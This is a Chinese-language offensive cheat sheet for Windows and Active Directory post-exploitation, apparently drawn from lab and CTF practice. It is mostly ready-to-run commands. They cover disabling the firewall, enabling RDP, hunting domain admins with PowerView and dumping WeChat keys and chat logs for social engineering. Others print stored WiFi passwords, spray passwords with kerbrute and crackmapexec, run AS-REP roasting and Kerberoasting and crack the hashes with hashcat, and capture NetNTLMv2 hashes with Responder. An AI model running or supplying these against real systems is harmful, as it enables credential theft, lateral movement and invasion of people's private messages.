Windows cmd
本机信息
前置知识
获取一台主机的权限的后,有 whoami 三种情况
- 这个表示是本地普通用户。win-2008 本机的普通用户
win-2008\user
- 这个表示是本地管理员的用户
win7-x64-test\administrator
- 这个表示域内用户 此域是 god.org
god\administrator
如果内网存在域。本地普通用户只能查询到本机相关信息,不能查到域内信息。而本地管理员和域内用户可以查询到域内信息。原理是:域内的所有查询都是通过 DC 实现的(基于 LDAP 协议)。这个查询需要经过权限认证。域用户进行查询命令时,会自动使用 Kerberos 协议认证,无需输入账号和密码。
其中 net time /domain 这个命令最有趣
- 如果出现拒绝访问的回显,那么意味着当前存在域,但当前不是域用户
- 如果命令直接执行成功了。那么表明当前用户是域用户
- 如果出现找不到域 WORKGROUP 的域控制器。 这样的回显,那么表明当前不存在域
Basic Command
首先肯定离不开
whoami /all # 这个命令可以得到主机名和用户名,以及 SID
# 其中例如:
得到的结果是 S-1-5-21-2952760202-1353902439-2381784089-500 这是用户的 SID
而去掉末尾 S-1-5-21-2952760202-1353902439-2381784089 这是当前域的 SID
ipconfig /all
systeminfo
net config workstation
查询启动的所有服务
sc query state=all
查询进程列表
tasklist
也少不了
netstat -ano
查询开机启动程序信息
wmic startup get command,caption
查看计划任务
schtasks /query /fo LIST /v
这里就不得不提到 schtasks 这个计划任务命令
当然也绝对少不了
net user 查看本机用户列表
既然知道又哪些用户了,也知道自己是哪一个用户了,那肯定要判断自己是不是管理员,需不需要提权
net localgroup administrators
当我们建立了一些连接以后或者别的什么原因,我们当然希望看看本机跟其他的会话<需要本机管理员权限>
net session
要是存在域的话,肯定想看看共享目录吧
那么先查询本机共享列表(内网中很多机子的设置大多数都是相同的)
net share
查看一下别的机子的目录也只需要
dir \\ip\共享名(net share 中的)
例如:
dir \\ip\c$
既然都想要看看别的机子了,肯定得知道哪些机子存活啊
先不出流量的简简单单的看一下路由表
arp -a
那我要是管理员权限,为了避免一下流量接收不到,我们可以关闭一下防火墙
Windows Server 2003 之前的版本
netsh firewall set opmode disable
之后的版本
netsh advfirewall set allprofiles state off
查询远程连接端口
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
查询结果是 0xd3d 十六进制转换为 10 进制也就是 3389
开启 3389 端口。需要管理员权限
如果是 Windows Server 2003
wmic path win32_terminalservicesetting where (_CLASS != "") call setallowtsconnections 1
如果是 Windows Server 2008 和 Winodws Server 2012 开启 3389 端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
启用远程桌面服务 需要管理员权限
sc config TermService start=auto
内网信息
既然本机信息基本都已经收集完了,也判断存在域了。那么我们就肯定要看看域内其他主机情况,目标肯定是要打域控控制整个域嘛
当然啦 fscan.exe 非常好用
fscan.exe -h 192.168.52.1/24
一下子就把存活主机和端口都扫描出来了
但是有时候我们上传文件比较困难。这个时候就只能先用 ping 来判断主机存活情况了
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.0.%I | findstr "TTL"
虽然用 telnet ip port 命令确实可以判断端口是否开放,但是回显却不是很好看。
Basic Command
查询域:(查询这个内网有多少个域)
net view /domain
查询域内主机的主机名
net view /domain:HACKE (这里的 HACKE 是 net view /domain 得到的结果)
然后我们就可以用 nslookup (主机名(尾巴去掉 $ )+域名)查询对应 IP 了
查询域内所有用户
net user /domain
查询域内的用户组,需要是域用户
net group /domain
然后就可以查询具体对应的用户了
比如下面的命令是查询域管名,也需要是域用户才能查询
net group "Domain Admins" /domain
查看域内密码规则 需要域用户
net accounts /domain
查询域信任信息 (虽然这个不常用) 不需要域用户
nltest /domain_trusts
定位域控
Basic Command
简单的收集了一下域内的一些信息后,终于来到我们期待的查找域控时间啦
查看域控机器名 需要域用户
nltest /DCLIST:域名
下面这个命令不太好用,虽然效果可能跟上面那个一样
nslookup -type=SRV _ldap._tcp
当然 net time /domain
也是可以获得域控主机名的
查看域控制器, 需要域用户
net group "Domain Controllers" /domain
定位域管
在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员组。也就是说计算机加入域中且成为域的成员主机后,系统会自动将域管理员组添加到本地系统管理员组中。因此域管理员组的成员均可访问本地计算机,且具备完全控制。
定位域内管理员的常规渠道是日志和会话。日志指本地机器的管理员日志。会话指每台机器的登录会话。(可以匿名查询,不需要权限)
如果我们能够定位域管登录了哪些机器,那么我们就可以去对应的机器抓取密码
额 PsLoggedon.exe 这个工感觉不行啊,会有弹窗,还要点击一下 agree
PowerView 可以但是会被杀软查杀 https://github.com/PowerShellEmpire/PowerTools/archive/refs/tags/2.0.zip
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1; Invoke-UserHunter}"
完整使用参数
Get-NetDomain #查看域名称
Get-NetDomainController #获取域控的信息
Get-NetForest #查看域内详细的信息
Get-Netuser #获取域内所有用户的详细信息
Get-NetUser | select name #获得域内所有用户名
Get-NetGroup #获取域内所有组信息
Get-NetGroup | select name #获取域内所有的组名
Get-NetGroup *admin* | select name #获得域内组中带有admin的
Get-NetGroup "Domain Admins" #查看组"Domain Admins"组的信息
Get-NetGroup -UserName test #获得域内组中用户test的信息
Get-UserEvent #获取指定用户日志信息
Get-NetComputer #获取域内所有机器的详细信息
Get-NetComputer | select name #获得域内主机的名字
Get-Netshare #获取本机的网络共享
Get-NetProcess #获取本机进程的详细信息
Get-NetOU #获取域内OU信息
Get-NetFileServer #根据SPN获取当前域使用的文件服务器
Get-NetSession #获取在指定服务器存在的Session信息
Get-NetRDPSESSION #获取本机的RDP连接session信息
Get-NetGPO #获取域内所有组策略对象
Get-ADOBJECT #获取活动目录的信息
Get-DomainPolicy #获取域默认策略
Invoke-UserHunter #查询指定用户登录过的机器
Invoke-EnumerateLocalAdmin #枚举出本地的管理员信息
Invoke-ProcessHunter #判断当前机器哪些进程有管理员权限
Invoke-UserEventHunter #根据用户日志获取某域用户登陆过哪些域机器
其他信息
查找文件
可以使用 for 循环,例如查找 C 盘后缀名为 txt 的文件。
for /r c:\ %i in (*.txt) do @echo %i
更推荐使用 dir
cmd /c "dir c:\*.js /s /b"
查找 d 盘下包含 “abc” 字符串的文件
findstr /s /n "abc" d:\*
日志
日志目录:
C:\Windows\System32\winevt\Logs
SPN
SPN(Service Principal Name,SPN,服务主体名称)
Kerberos 身份验证服务使用 SPN 与服务登录账号联系起来,如果域中的计算机安装了多个服务实例,那么每个实例都应该有自己的 SPN 。
SPN 是怎么用的?当用户需要访问某个服务的时候,系统会以当前用户身份向域控查询 SPN 为该服务的记录,如果找到的话,那么用户就会向 KDC 通信,进行 Kerberos 认证的第二个阶段,将 TGT 发送给 KDC
SPN 的格式如下:
serviceclass/hostname[:port][/servicename]
- serviceclass: 服务组件名称
- hostname,计算机的 FQDN (全限定域名,同时带有计算机名和域名)
- port 端口号
- servicename: 一个字符串,可以是服务专有名(DN),objectGuid,Internet 主机名或全限定域名
查询域内存在的所有 SPN
setspn -T 域名 -q */*
我们可以利用此命令查找 Exchange 服务器
setspn -Q IMAP/*
微信信息
有时候导出微信的联系人和聊天记录会有意外收获。可以社工等等。微信的信息默认在 C:\WeChat Files\WeChat Files
文件夹下。我们在这里可以C:\WeChat Files\WeChat Files\wxid_nmp3dxxxx\Msg
找到相关的数据库信息
我们可以在 Msg 目录下找到这三个文件包含了联系人列表信息
- MicroMsg.db
- MicroMsg.db-shm
- MicroMsg.db-wal
在 C:\WeChat Files\wxid_nmp3dxxxx\Msg\Multi
目录下可以找到类似:
- MSG0.db
- MSG0.db-shm
- MSG0.db-wal
- MSG1.db
- MSG1.db-shm
等文件。里面包含了聊天记录的信息。下载下来。
在 https://www.iculture.cc/knowledge/pig=22381 这里找到工具并下载
在目标机器上面执行 wx-dump-key-v0.1.1.exe zmkm
可以获取正在运行的微信数据库密钥以及相关信息
把密钥记住(接下来的操作可以在本地),然后将聊天记录及其联系人信息的数据库文件放在 wx-decrypter-v0.1.1\input
文件夹中。再执行 wx-decrypter-v0.1.1.exe 密钥
即可在wx-decrypter-v0.1.1\output
文件夹下获得 csv 或 db 文件,通过 https://sqlmanager.freebusinessapps.net/manager
即可打开 SQLite 数据库。导入 MicroMsg.db_dec.db
执行一下
select UserName,Alias,Remark,NickName from Contact
即可获得联系人的微信号,备注,微信名的信息。当然我们也可以考虑使用 https://github.com/SpenserCai/GoWxDump 的工具
浏览器信息
HackBrowserData 是个非常好的项目,可以导出收藏的网址、密码、Cookie 等信息
wifi 密码
用下面这条命令可以获得机器上连接 wifi 的密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
除了类似于 Linux 机器的渗透思路,windows 的机器还可以从以下内容进行着手
杀软信息
这个项目 https://github.com/r00tSe7en/get_AV 可以通过从 tasklist /SVC
的信息判断目标环境存在的杀软。
Kerberos
Kerberos 是一种身份验证协议,而不是授权协议。
kerbrute
仓库链接 https://github.com/ropnop/kerbrute/
A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication
我们可以使用它来爆破用户名和密码,枚举用户名,以及密码喷洒
Usage:
kerbrute [command]Available Commands:
bruteforce Bruteforce username:password combos, from a file or stdin
bruteuser Bruteforce a single user’s password from a wordlist
help Help about any command
passwordspray Test a single password against a list of users
userenum Enumerate valid domain usernames via Kerberos
version Display version info and quit
比如枚举用户:
./kerbrute_linux_amd64 userenum --dc 10.10.207.246 -d spookysec.local userlist.txt
具有枚举速度快,不留下日志的优点
适用场景:从域外对域用户进行用户枚举和口令暴力破解
由于没有域用户的口令,所以无法通过 LDAP 协议枚举出所有域用户,而且使用 LDAP 协议进行暴力破解时会产生日志(4625 – An account failed to log on)
使用 kerbrute 有如下优点:
-
使用 Kerberos pre-auth bruteforcing 的速度更快
-
不会产生日志(4625 – An account failed to log on)
impacket-GetNPUsers
The ASREPRoast attack looks for users without Kerberos pre-authentication required attribute
That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.
Furthermore, no domain account is needed to perform this attack, only connection to the DC. However, with a domain account, a LDAP query can be used to retrieve users without Kerberos pre-authentication in the domain. Otherwise usernames have to be guessed.
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast
针对 kerberos 协议攻击的工具。当用户开启了 “不使用Kerberos预认证”,那么就可以获取到 Kerberos AS-REP 也就是 NetNtml Hash。当我们获得了域控用户名字典时,即可以尝试进行枚举测试是否存在这样的用户。
使用方法:
impacket-GetNPUsers domain/ -usersfile userlist.txt -format hashcat -outputfile hashes.asreproast
然后用 hashcat 尝试破解
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
impacket-GetUserSPNs
Impacket’s GetUserSPNs.py will attempt to fetch Service Principal Names that are associated with normal user accounts. What is returned is a ticket that is encrypted with the user account’s password, which can then be bruteforced offline.
原理大概就是请求 TGS 获取 ST,而 ST 是用 Server 的 NTLM-Hash 进行加密,可以参考 https://sec.1i6w31fen9.top/2023/02/28/%e5%86%85%e7%bd%91%e5%88%9d%e6%8e%a2-kerberos%e8%ae%a4%e8%af%81/
常见使用方法
impacket-GetUserSPNs 'domain/username:password' -request -outputfile hashes.kerberoast
离线破解
hashcat -m 13100 --force hashes.kerberoast /usr/share/wordlists/rockyou.txt
SMB
SMBMap
使用 smbmap 可以简单探测是否允许 guest 等匿名用户免密登录,还可以收集一下共享目录的文件信息,包括读写权限
eg.
smbmap -u guest -p '' -H manager.htb -r
crackmapexec
如果你发现了一个能够访问共享目录的凭证,那么也可以借助这个工具爆破用户名。当然这个工具支持的协议不仅仅是 smb。
crackmapexec smb manager.htb -u guset -p '' --rid-brute
enum4linux
enum4linux 是用于枚举 windows 和 Linux 系统上的 SMB 服务的工具。其封装了 nmblookup、net、rpcclient 和 smbclient 等工具。能够尝试使用空凭证或凭证枚举用户列表、共享目录、密码政策、用户组等信息
简单用法:
enum4linux ip
ldap
当我们拥有一个域用户凭证或者 ldap 未授权可以访问时,可以考虑枚举域控的 ldap 服务,获取 domain_users、domain_groups、domain_trusts、domain_computers、domain_computers_by_os、domain_policy 敏感信息
ldapdomaindump
ldapdomaindump 是一个非常好用的枚举工具,可以选择生成 json、html、grep 格式的枚举信息文件。
常见使用方法,生成 html 结果:
ldapdomaindump -r ip_or_domain -u 'domain\username' -p 'password' --no-json --no-grep
impacket-GetADUsers
该工具通过 ldap 的方式获取目标机器上面的用户名
常见使用方法
impacket-GetADUsers 'domain/username:password!' -dc-ip ip_addr -all
Password spray
crackmapexec
这个工具支持 ssh、ftp、winrm、rdp、mssql、ldap、smb 协议的密码喷洒。
eg.
crackmapexec smb manager.htb -u users.txt -p 'password' --continue-on-success
网络请求
Windows 在DNS 查找失败时会使用链路本地组播名称解析 (LLMNR) 和 NetBIOS 名称服务(NBT-NS)进行本地主机解析,这些协议是默认启用的。而 Apple Bonjour 和 Linux 零配置实现使用多播DNS(mDNS)来发现网络中的系统。
当使用了 LLMNR 和 NetBIOS 协议,客户端会将未经身份验证的 UDP 广播消息进行传播,而攻击者可以利用它们引导到恶意服务,比如申请获得登录凭证。早期是在网络上传播明文口令,后来退出了 NTLMv1,但安全性依旧不够,可以直接还原出 NTLM-HASH 进行 PTH,再后来就推出了 NetNTLMv2。如果获取了 NetNTLMv2 需要进行爆破才能够利用。
几乎在涉及到网络请求的地方都可以考虑,比如 php 代码中的 include、file_get_contents 等;共享目录下的 desktop.ini; scf 文件
responder
我们可以使用这个工具进行监听利用。
将获取到的 hash 可以用 hashcat 进行爆破
hashcat -a 0 -m 5600 NetNtlm.txt /usr/share/wordlists/rockyou.txt -o cracked.txt -O